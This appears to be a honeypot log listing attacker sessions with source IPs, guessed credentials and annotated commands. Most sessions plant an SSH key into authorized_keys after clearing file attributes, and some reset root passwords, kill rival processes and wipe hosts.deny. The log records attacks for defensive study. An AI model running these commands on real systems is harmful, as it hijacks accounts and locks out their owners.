$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 chai_root_8 (20.193.141.133) β€” Pune, India Β· 1 session Β· 2 cmds
2026-04-06 08:51 EDT Β· as oracle/test1234
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wok_root_28 (14.29.208.128) β€” Shenzhen, China Β· 1 session Β· 2 cmds
2026-04-06 08:13 EDT Β· as oracle/Oracle16
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 wok_root_29 (106.37.72.234) β€” Beijing, China Β· 2 sessions Β· 39 cmds
2026-04-05 03:45 EDT Β· as oracle/Oracle16, root/pass123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l Γ—2
↳ CPU profiling
$ echo -e "Oracle16\n2NilLRmqGeKZ\n2NilLRmqGeKZ"|passwd|bash
$ Enter new UNIX password:
$ echo "Oracle16\n2NilLRmqGeKZ\n2NilLRmqGeKZ\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' Γ—2
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' Γ—2
$ ls -lh $(which ls) Γ—2
$ which ls Γ—2
$ crontab -l Γ—2
↳ persistence setup
$ w Γ—2
↳ logged-in users check
$ uname -m Γ—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l Γ—2
↳ CPU profiling
$ top Γ—2
↳ process monitoring
$ uname Γ—2
↳ OS identification
$ uname -a Γ—2
↳ OS/kernel identification
$ whoami Γ—2
↳ privilege check
$ lscpu | grep Model Γ—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' Γ—2
$ echo "root:0ihOw5kBLlri"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
🎭 stein_root_17 (161.35.79.145) β€” Frankfurt am Main, Germany Β· 1 session Β· 1 cmd
2026-04-06 06:41 EDT Β· as admin/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 phantom_root_36 (103.230.120.88) β€” Bangkok, Thailand Β· 1 session Β· 1 cmd
2026-04-06 05:39 EDT Β· as deploy/deploy
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 liberty_root_14 (66.154.124.165) β€” Washington, United States Β· 1 session Β· 2 cmds
2026-04-06 04:07 EDT Β· as oracle/oracletest
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cipher_root_61 (94.74.114.67) β€” Bangkok, Thailand Β· 1 session Β· 2 cmds
2026-04-06 01:00 EDT Β· as oracle/Oracle27!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_37 (103.173.154.45) β€” PhΓΊc Điền, Vietnam Β· 2 sessions Β· 4 cmds
2026-04-06 00:18 EDT Β· as oracle/Oracle!, oracle/oracle#
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 wraith_root_42 (118.26.36.248) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-06 00:08 EDT Β· as oracle/Oracle27!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_9 (165.154.227.158) β€” Taipei, Taiwan Β· 1 session Β· 2 cmds
2026-04-06 00:07 EDT Β· as oracle/Oracle27
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 lantern_root (106.14.183.112) β€” Shanghai, China Β· 40 sessions Β· 40 cmds
2026-04-05 20:27 EDT Β· as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—40
🎭 specter_root_49 (103.186.1.202) β€” Sukabumi, Indonesia Β· 1 session Β· 1 cmd
2026-04-05 16:15 EDT Β· as ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 specter_root_50 (154.198.215.50) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-05 15:23 EDT Β· as oracle/oracle4
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 star_root_3 (107.180.88.176) β€” Ashburn, United States Β· 1 session Β· 2 cmds
2026-04-05 15:06 EDT Β· as oracle/oracle4
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_66 (202.79.29.108) β€” Phnom Penh, Cambodia Β· 1 session Β· 2 cmds
2026-04-05 14:46 EDT Β· as oracle/oracle4
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 cowboy_root_13 (45.61.187.220) β€” Miami, United States Β· 1 session Β· 19 cmds
2026-04-05 14:43 EDT Β· as root/admin
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:37zE4gYOs2Rc"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 ghost_root_67 (160.250.181.122) β€” Ho Chi Minh City, Vietnam Β· 1 session Β· 2 cmds
2026-04-05 14:39 EDT Β· as oracle/oracle4
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_37 (207.46.224.80) β€” Singapore, Singapore Β· 2 sessions Β· 2 cmds
2026-04-05 12:14 EDT Β· as root/1234, root/123456
OS/kernel identification β†’ hostname discovery
$ uname -a
↳ OS/kernel identification
$ hostname
↳ hostname discovery
🎭 cipher_root_62 (150.5.129.10) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-05 10:44 EDT Β· as oracle/oracle28!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 tiger_root_2 (139.59.58.25) β€” Bengaluru, India Β· 2 sessions Β· 22 cmds
2026-04-04 08:04 EDT Β· as oracle/oracle28!, user/password
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa" payload β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo "password\nPckB8UR1wZFU\nPckB8UR1wZFU"|passwd|bash β†’ Enter
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "password\nPckB8UR1wZFU\nPckB8UR1wZFU"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nPckB8UR1wZFU\nPckB8UR1wZFU\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 shadow_root_41 (38.19.156.18) β€” Miraflores, Peru Β· 1 session Β· 2 cmds
2026-04-05 09:02 EDT Β· as oracle/oracle07
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_38 (23.97.62.150) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-05 07:28 EDT Β· as root/123456
hostname discovery
$ hostname
↳ hostname discovery
🎭 phantom_root_39 (27.71.237.45) β€” Hanoi, Vietnam Β· 1 session Β· 2 cmds
2026-04-05 05:33 EDT Β· as oracle/oracle06!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 samba_root_4 (186.233.118.22) β€” Rio de Janeiro, Brazil Β· 1 session Β· 2 cmds
2026-04-05 05:14 EDT Β· as oracle/oracle06!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 rogue_root_38 (8.217.53.188) β€” Hong Kong, Hong Kong Β· 1 session Β· 1 cmd
2026-04-05 04:25 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 panda_root_18 (218.78.46.81) β€” Shanghai, China Β· 1 session Β· 2 cmds
2026-04-05 03:39 EDT Β· as oracle/Oracle21
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 kimchi_db_2 (211.37.174.62) β€” Seongnam-si, South Korea Β· 1 session Β· 2 cmds
2026-04-05 03:38 EDT Β· as oracle/Oracle18!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_42 (43.128.66.35) β€” Singapore, Singapore Β· 2 sessions Β· 4 cmds
2026-04-04 23:00 EDT Β· as oracle/Oracle123456, oracle/oracle03!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
